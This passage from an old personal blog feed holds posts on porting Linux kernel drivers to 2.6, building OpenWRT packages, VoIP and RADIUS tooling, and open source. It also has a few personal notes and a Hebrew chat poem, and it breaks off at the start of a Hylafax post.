&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;int retval;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;dev_t dev_id;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and then, for the actual device registration code&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;drv_dev-&gt;major = DRV_MAJOR;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;if (drv_dev-&gt;major) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;dev_id = MKDEV(drv_dev-&gt;major, DRV_MINOR);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;retval = register_chrdev_region(dev_id, DRV_COUNT, devname);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;} else {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;retval = alloc_chrdev_region(&amp;#x26;dev_id, DRV_MINOR, DRV_COUNT, devname);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;drv_dev-&gt;major = MAJOR(dev_id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;if (retval) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;printk(KERN_ERR &quot;%s: can&apos;t get drivers major! %d\n&quot;, devname, drv_dev-&gt;major);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;return -1;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;cdev_init(&amp;#x26;drv_dev, &amp;#x26;drv_fops);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;cdev_add(&amp;#x26;drv_cdev, dev_id, DRV_COUNT);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;and of course unregistering the driver is also required, so
adding to &lt;code&gt;__exit&lt;/code&gt; the following:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;dev_t dev_id = MKDEV(drv_dev-&gt;major, 0);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;cdev_del(&amp;#x26;drv_cdev);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;unregister_chrdev_region(dev_id, DRV_COUNT);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we’re mostly done.&lt;/p&gt;
&lt;p&gt;Don’t make of it a template, it’s simple an overview to give some general
idea of how the API changes in 2.6 and how you can deal with device drivers
migration.&lt;/p&gt;</content:encoded></item><item><title>How to tell if you’re a kernel geek?</title><link>https://lirantal.com/blog/2007-10-02/</link><guid>https://lirantal.com/blog/2007-10-02/</guid><description>Moving from linux 2.4 to 2.6 by recompiling linux kernel device drivers</description><pubDate>Tue, 02 Oct 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Me and my friend Yakov have this habit where each morning when we go to work we make a cup of coffee and start the morning by reviewing what’s new on &lt;a href=&quot;https://sourceforge.net/&quot;&gt;Sourceforge&lt;/a&gt; and Freshmeat.net and basically catching up with the new development and news around the Linux and Open Source community.&lt;/p&gt;
&lt;p&gt;Though it just hit me. In the past few months I’ve been visiting &lt;a href=&quot;https://kerneltrap.org&quot;&gt;kerneltrap&lt;/a&gt; and other core kernel related websites and mailing list regularly.
I guess that I’ve made the switch without even noticing.&lt;/p&gt;
&lt;p&gt;I think I read it on either LDD (Linux Device Drivers by Kroah-Hartman) or the mailing list at one of the signatures where it said &lt;code&gt;you know you&apos;re a kernel geek once you start writing printk&apos;s typos in your user space programs&lt;/code&gt; which is kind of funny once you think about it.&lt;/p&gt;
&lt;p&gt;Anyways, have a good morning.&lt;/p&gt;</content:encoded></item><item><title>daloRADIUS Logos</title><link>https://lirantal.com/blog/daloradius-logos/</link><guid>https://lirantal.com/blog/daloradius-logos/</guid><description>Launching new logos for the daloRADIUS project</description><pubDate>Mon, 20 Aug 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;During my military service (Army Reserves) last month I’ve met an old friend – Igor Grushko whose actually an artist and studying Architecture. I showed him  &lt;a href=&quot;http://sourceforge.net/projects/daloradius/&quot;&gt;daloRADIUS&lt;/a&gt;  and asked him to design some logo drafts, needless to say, Igor has done an EXCELLENT job and I simply love his logos. Here are his original logo collections for &lt;a href=&quot;http://sourceforge.net/projects/daloradius/&quot;&gt;daloRADIUS&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/?attachment_id=268&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703181526im_/http://enginx.com/wp-content/uploads/2014/05/daloradius1-150x150.jpg&quot; alt=&quot;daloradius1&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/blog/writing-drupal-7-media/attachment/daloradius_logo/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703181526im_/http://enginx.com/wp-content/uploads/2013/08/daloradius_logo-150x150.jpg&quot; alt=&quot;daloradius_logo&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/blog/writing-drupal-7-media/attachment/daloradius3/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703181526im_/http://enginx.com/wp-content/uploads/2013/08/daloradius3.jpg&quot; alt=&quot;daloradius3&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/blog/writing-drupal-7-media/attachment/2/&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703181526im_/http://enginx.com/wp-content/uploads/2013/08/2-150x103.gif&quot; alt=&quot;2&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Been Gone</title><link>https://lirantal.com/blog/2007-08-20_-dad_is_gone/</link><guid>https://lirantal.com/blog/2007-08-20_-dad_is_gone/</guid><description>I... miss my dad :(</description><pubDate>Mon, 20 Aug 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Things have been happening in my life lately…&lt;/p&gt;
&lt;p&gt;My dad got sick and had to go through surgery and was committed to the Hospital for about 2.5 months. He’s now resting at home and getting better. A few weeks afterwards I had to go through surgery myself which to say the least, was really hard on me. Some advancements at work also occur, the company which I work in was acquired by a very large Telecom company and so things have been somewhat confusing for people and tense was in the air though I was rather calm about it, and everything is ok now.&lt;/p&gt;
&lt;p&gt;To the good stuff that has been keeping me away… So I’ve been taking care of my parents and been seeing them alot, more than usual. I’ve also done much improvements with &lt;a href=&quot;http://www.sourceforge.net/projects/daloradius&quot;&gt;daloRADIUS&lt;/a&gt;, my RADIUS management web application which has also been gaining support in the community.&lt;/p&gt;
&lt;p&gt;I hope to be more available…
Liran.&lt;/p&gt;</content:encoded></item><item><title>A Day In a Life – Poem to a friend</title><link>https://lirantal.com/blog/2007-06-27/</link><guid>https://lirantal.com/blog/2007-06-27/</guid><description>Memories and nostalgia</description><pubDate>Wed, 27 Jun 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A google talk snippet for the sake of good memories :)&lt;/p&gt;
&lt;p&gt;Odd things happen when I study to Java and Statistics while listening to The Beatles – The White Album.
Kids – do not try this at home!&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;me: אאאאא&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;שותף&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;כתבתי לך פואמה לירית יפה&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Yakov: אאאאאאא&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;me: חברי היקר, יקר לי מכל.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;רוצה לשוט איתך, בים הכחול.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;לדסקס על ענייני הרשתות,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;ולדון בקרנלים עם בעיות.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;לפעמים מתקמפלים, ולפעמים לא&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;אבל אני ואתה נשאר חברים לנצח נצחים :)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;Yakov: אאאאאאאאאאאא&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;חזק&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;</content:encoded></item><item><title>OpenSER and FreeRADIUS integration</title><link>https://lirantal.com/blog/2007-06-20/</link><guid>https://lirantal.com/blog/2007-06-20/</guid><description>Getting OpenSER to work with FreeRADIUS</description><pubDate>Wed, 20 Jun 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This hectic procedure requires some tweaking and patching but most of the information and relevant files can be found at &lt;a href=&quot;http://cdrtool.ag-projects.com/freeradius/&quot;&gt;http://cdrtool.ag-projects.com/freeradius&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Basically, FreeRADIUS must include the &lt;code&gt;dictionary.sip&lt;/code&gt; information, be patched against the &lt;code&gt;rlm_sql&lt;/code&gt; module which requires tweaking for supporting the &lt;code&gt;Acct-Status-Type&lt;/code&gt; ( = 15 error message) and ofcourse the &lt;code&gt;sql.conf&lt;/code&gt; must be updated with queries relevant to sip sessions (this means that the database scheme must also be altered, more accurately the &lt;code&gt;radacct&lt;/code&gt; table but that’s obvious and a patch file is provided for that as well)&lt;/p&gt;
&lt;p&gt;Goodluck.&lt;/p&gt;</content:encoded></item><item><title>Development in Open Source</title><link>https://lirantal.com/blog/2007-05-16/</link><guid>https://lirantal.com/blog/2007-05-16/</guid><description>projects of Open Source nature will continue to revolutionize the technology industry and take us further into new grounds of socialism with recognition that knowledge sharing produces good things.</description><pubDate>Wed, 16 May 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Development in Open Source&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Open_source&quot;&gt;Open Source&lt;/a&gt;  projects have gained in the past few years an entirely different reputation in the public’s eye, in a good sense. Now-days we are seeing things happening in the Open Source arena, beautiful things, that most of us didn’t expect to take place so fast and so intense. Among these, are the huge amount of endorsement in terms of project sponsorship coming from Fortune 500 companies as well as funds that keep pouring on either existing Open Source projects to support them or even more intensively the acquisition of these projects that later become commercial companies with  &lt;a href=&quot;http://en.wikipedia.org/wiki/Free_software&quot;&gt;Free Software&lt;/a&gt;  concept roots.&lt;/p&gt;
&lt;p&gt;The adaptation and awareness of Open Source software by the general public keeps growing rapidly. Government offices and major firms are taking active roles and exhibit participation in forums, mailing-lists, patches submission and code contribution, not to mention the attendance of these firms in seminars, exhibitions and conferences all around the world just to be kept in-the-loop and updated with all the new technologies that has surfaced out. It is all happening for a reason – the benefit of the widely accepted development methodology of sharing knowledge through collaboration is simply priceless, and it seems that everyone realize it sooner or later.&lt;/p&gt;
&lt;p&gt;The effect of all the buzz around GNU/Linux and Open Source drives one of the most basic needs in each of us, as a human-being. That is, to be a part of a whole. We long to be a part of a community, of a bigger good and as a consequence we are witnessing more and more involvement in projects of all kinds of development, whether it’s language translations, code contributions and documentation writing. Each involvement, as small contribution as it may be is causing a butter-fly effect that triggers others to contribute and participate in this beautiful, open world of technology and knowledge sharing.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703090741im_/http://upload.wikimedia.org/wikipedia/commons/8/8f/OpenWrt3640_WLAN.PNG&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;X-WRT is such a project that is reflecting all of the above concepts that we discussed. Some may be familiar with the  &lt;a href=&quot;https://openwrt.org/&quot;&gt;OpenWRT&lt;/a&gt;  project which aims to provide an alternative firmware to the one that is shipped with (wifi) routers, like the popular Linksys WRT-54G model and others.  &lt;a href=&quot;http://en.wikipedia.org/wiki/X-Wrt&quot;&gt;The X-WRT&lt;/a&gt;  project was born in order to bring a more powerful and professional web interface to the OpenWRT firmware, and indeed the project proved a great success. In short time, it received an enormous feedback from users who wanted more features to be presented as well as users who wanted to get involved in the development of X-WRT.&lt;/p&gt;
&lt;p&gt;X-WRT is taking all the goods of Open Source and Free Software concepts and put them to show. The participation is widely welcome and all that is needed to join as a developer is a registered &lt;code&gt;berlios&lt;/code&gt; account and an email to the project admin (&lt;code&gt;thepeople&lt;/code&gt;). Approximately 6 hours later you are given  &lt;a href=&quot;https://www.ohloh.net/p/11280/contributors?page=1&quot;&gt;access to the svn repository and you may start with active development&lt;/a&gt;  on both branches of the project. There are no committees to question your skills or examine your CV background. Everyone are treated equal and given equal voice to be heard. I’m an active developer of X-WRT and I enjoy every bit of involvement. The team is sharpened-skilled, open minded and most of all, good people.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://enginx.com/wp-content/uploads/2007/05/The-x-wrt-Open-Source-Project-on-Ohloh-Contributors-Listing-Page.png&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20140703090741im_/http://enginx.com/wp-content/uploads/2007/05/The-x-wrt-Open-Source-Project-on-Ohloh-Contributors-Listing-Page.png&quot; alt=&quot;The x wrt Open Source Project on Ohloh   Contributors Listing Page&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;To summarize, projects of Open Source nature will continue to revolutionize the technology industry and take us further into new grounds of socialism with recognition that knowledge sharing produces good things. If most of these projects will take the form of X-WRT’s great qualities then the future looks like a good place to be a developer.&lt;/p&gt;
&lt;p&gt;Sincerely,&lt;br&gt;
Liran Tal.&lt;/p&gt;</content:encoded></item><item><title>FreeSWITCH – A new revolution in VoIP?</title><link>https://lirantal.com/blog/2007-05-09/</link><guid>https://lirantal.com/blog/2007-05-09/</guid><description>Next incumbent to Asterisk? I’ve stumbled upon FreeSWITCH</description><pubDate>Wed, 09 May 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve stumbled upon the word FreeSWITCH during a research I was conducting the last few days and as it turns out, FreeSWITCH is a soft-switch application designed with modularity in mind. It can act as a full-blown PBX or regular soft-switch for routing actions. It integrates with Jabber (googletalk), SIP, H323, IAX naturally. Seems like it is still in early development but looks like a promising new voip application never-the-less.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.freeswitch.org&quot;&gt;http://www.freeswitch.org&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Missing php5-pdo-sqlite on Ubuntu Dapper</title><link>https://lirantal.com/blog/2007-04-19/</link><guid>https://lirantal.com/blog/2007-04-19/</guid><description>How to compile a Linux kernel module without needing to resort to a full Linux kernel compilation process</description><pubDate>Thu, 19 Apr 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ubuntu Dapper has been around for some time now and you’d figure it would have most of the important packages which are available on Debian but that doesn’t seem to be the case.&lt;/p&gt;
&lt;p&gt;Ofcourse I’m not to judge which package is more important although I would think that server-related packages like php5-pdo-sqlite should be available, but it isn’t. So one way to deal with it is contact the package author and whine all day that you want an Ubuntu version, or the other way – manually compile it.&lt;/p&gt;
&lt;p&gt;So if you require that package on Ubuntu
(or some other distro without it):&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;apt-get install php5-dev&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;PHP_PDO_SHARED=1 pecl install pdo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;PHP_PDO_SHARED=1 pecl install pdo_sqlite&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And ofcourse don’t forget to update the php.ini file (at &lt;code&gt;/etc/php5/apache2/php.ini&lt;/code&gt;):&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;extension=pdo.so&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;extension=pdo_sqlite.so&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Goodluck.&lt;/p&gt;</content:encoded></item><item><title>Compiling single kernel module</title><link>https://lirantal.com/blog/2007-02-04/</link><guid>https://lirantal.com/blog/2007-02-04/</guid><description>How to compile a Linux kernel module without needing to resort to a full Linux kernel compilation process</description><pubDate>Sun, 04 Feb 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We sometimes find ourselves in the need to compile just one module, and not the entire set
of modules under the tree.&lt;/p&gt;
&lt;p&gt;The Makefile that is present in the dir of the module you wish to compile should read &lt;code&gt;obj-m := module.o&lt;/code&gt;
Run &lt;code&gt;make -C /usr/src/linux-headers-2.6.XX-YY-ZZZ/ SUBDIRS=$PWD modules&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Compiliation should be successful and you should see the binary objects in the current dir now.&lt;/p&gt;
&lt;p&gt;Reference: &lt;a href=&quot;http://lwn.net/Articles/21835/&quot;&gt;http://lwn.net/Articles/21835/&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Smashing OpenWRT Embedded for fun</title><link>https://lirantal.com/blog/2007-01-16/</link><guid>https://lirantal.com/blog/2007-01-16/</guid><description>Fancy some Linux-based network equipment hacking? get in on this article about OpenWRT!</description><pubDate>Tue, 16 Jan 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A prelude:&lt;/p&gt;
&lt;p&gt;Great news. After I had a talk with a friend of mine, Roie, whose basically a guru at all things embedded-related I decided to start working on some  &lt;a href=&quot;http://en.wikipedia.org/wiki/Linux_on_embedded_systems&quot;&gt;embedded devices&lt;/a&gt;  for some projects. At first I took a glance at  &lt;a href=&quot;http://www.pcengines.ch/wrap.htm&quot;&gt;PC Engines WRAP&lt;/a&gt;  devices but these are basically just your regular x86 embedded boxes so I ordered for the office to play with. The embedded wrap should be plain fun and profit cause this wouldn’t require any special kernels or re-compiliation of any software cause we’re kept on our usual environment (x86).&lt;/p&gt;
&lt;p&gt;To the fun stuff – the linksys  &lt;a href=&quot;http://en.wikipedia.org/wiki/Linksys_WRT54G_series&quot;&gt;wrt54g&lt;/a&gt;  model is a router which is based on linux and the mips embedded architecture which means more fun for me  &lt;img src=&quot;https://web.archive.org/web/20140703100517im_/http://enginx.com/wp-includes/images/smilies/icon_smile.gif&quot; alt=&quot;:)&quot;&gt;&lt;br&gt;
With the wrt you get a huge 4mb of flash to put all your favorite linux tools and crafts including the kernel and the whole nine yards, and to do that we can reset linksys’ official firmware with a version of OpenWRT which is a firmware that provides us with a familiar linux environment on the router, meaning shells, daemons and the rest of it. It even has a tiny web interface to configure the basic stuff like WAN and LAN settings.&lt;/p&gt;
&lt;p&gt;So you’re asking yourself now what? what do I do with all this linux? Well endless possibilities are upon you. From captive portal hotspot-in-a-box solutions to vpns, routing daemons like bgp and rip to war driving tools like kismet and aircrack and all of those on that 200Mhz with 16mb of ram box.&lt;/p&gt;
&lt;p&gt;Being Practical&lt;/p&gt;
&lt;p&gt;The OpenWRT folks has provided us with a cross compiler and a build environment to firstly, customize my own image to put on the router and to build my own packages and compile from source my own software or simply port it so that I can run software I like on the mips box.&lt;br&gt;
This is very useful cause the custom images of  &lt;a href=&quot;https://openwrt.org/&quot;&gt;OpenWRT&lt;/a&gt;  are split to PPPoE and PPTP images though what if I wanted to have both&lt;br&gt;
of these options available on one image? I can simply ‘make menuconfig‘ and choose the packages and firmware options that I want.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20140703100517im_/http://upload.wikimedia.org/wikipedia/commons/8/8f/OpenWrt3640_WLAN.PNG&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;That’s regarding the customization. The cross compiler is another issue. Theoretically you could put some development tools on the linksys box and just download and compile whatever software you want to run on it locally but with that processing speed (slow) and hardly any room for practical development we’re facing a problem. The solution is cross-compiliation which means I can download the software sources to my own debian desktop and compile it locally with a tool that makes the binary run on the mips (and not on my x86 ofcourse).&lt;br&gt;
This does take a bit of tweaking with setting up the development environment and files but is do-able none the less.&lt;/p&gt;
&lt;p&gt;A modification to the environment variables is required:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export PATH=/home/liran/Programming/openwrt/whiterussian/openwrt/staging_dir_mipsel/usr/bin:  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/Programming/openwrt/whiterussian/openwrt/staging_dir_mipsel/mipsel-linux-uclibc:  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;/home/liran/Programming/openwrt/whiterussian/openwrt/staging_dir_mipsel/bin:$PATH  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export AR=/home/liran/Programming/openwrt/whiterussian/openwrt/staging_dir_mipsel/bin/mipsel-linux-uclibc-ar  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export AS=/home/liran/Programming/openwrt/whiterussian/openwrt/staging_dir_mipsel/bin/mipsel-linux-uclibc-as  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export LD=/home/liran/Programming/openwrt/whiterussian/openwrt/staging_dir_mipsel/bin/mipsel-linux-uclibc-ld  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export NM=/home/liran/Programming/openwrt/whiterussian/openwrt/staging_dir_mipsel/bin/mipsel-linux-uclibc-nm  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export CC=mipsel-linux-uclibc-gcc  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export CPP=mipsel-linux-uclibc-cpp  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export GCC=mipsel-linux-uclibc-gcc  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export CXX=mipsel-linux-uclibc-g++  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export RANLIB=mipsel-linux-uclibc-ranlib  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export ac_cv_linux_vers=2.4.30  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export LDFLAGS=&quot;-static&quot;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;export CFLAGS=&quot;-Os -s&quot;  &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And editing the Makefile is usually necessary. The resulted file is a stripped down binary with statically linked libraries to run on the&lt;br&gt;
mips box. Then the build process continues as usual.&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://wiki.openwrt.org/BuildRoot&quot;&gt;http://wiki.openwrt.org/BuildRoot&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://downloads.openwrt.org/docs/buildroot-documentation.html&quot;&gt;http://downloads.openwrt.org/docs/buildroot-documentation.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://wiki.openwrt.org/BuildingPackagesHowTo&quot;&gt;http://wiki.openwrt.org/BuildingPackagesHowTo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.frontiernet.net/~beakmyn/CrossCompile.htm&quot;&gt;http://www.frontiernet.net/~beakmyn/CrossCompile.htm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>HUD Manager module for FreePBX</title><link>https://lirantal.com/blog/2007-01-09/</link><guid>https://lirantal.com/blog/2007-01-09/</guid><description>Add some FreePBX magic to your VoIP setup</description><pubDate>Tue, 09 Jan 2007 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;HUD is very cool to use for monitoring users and handling a small call center but there’s no easy way to export only the extensions you want to be enabled in it. So at first I wrote a hudtool.sh script to go over sip_additional.conf and export everything to hud’s users.xml file.&lt;/p&gt;
&lt;p&gt;The hudtool.sh was nice and useful but hardly handy since you couldn’t really filter easily the extensions you want – there comes the module for freepbx. It’s available at &lt;a href=&quot;http://freepbx.org/trac/ticket/1660&quot;&gt;http://freepbx.org/trac/ticket/1660&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>Hylafax + Iaxmodem on pure Asterisk/FreePBX (replacing (rt)fax)</title><link>https://lirantal.com/blog/2006-11-23/</link><guid>https://lirantal.com/blog/2006-11-23/</guid><description>More juicy linux-based Asterisk telephony recipes for you</description><pubDate>Thu, 23 Nov 2006 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Steps that should be taken to replace (rt)fax which comes with a default asterisk/freepbx install with iaxmodem+hylafax solution.&lt;br&gt;
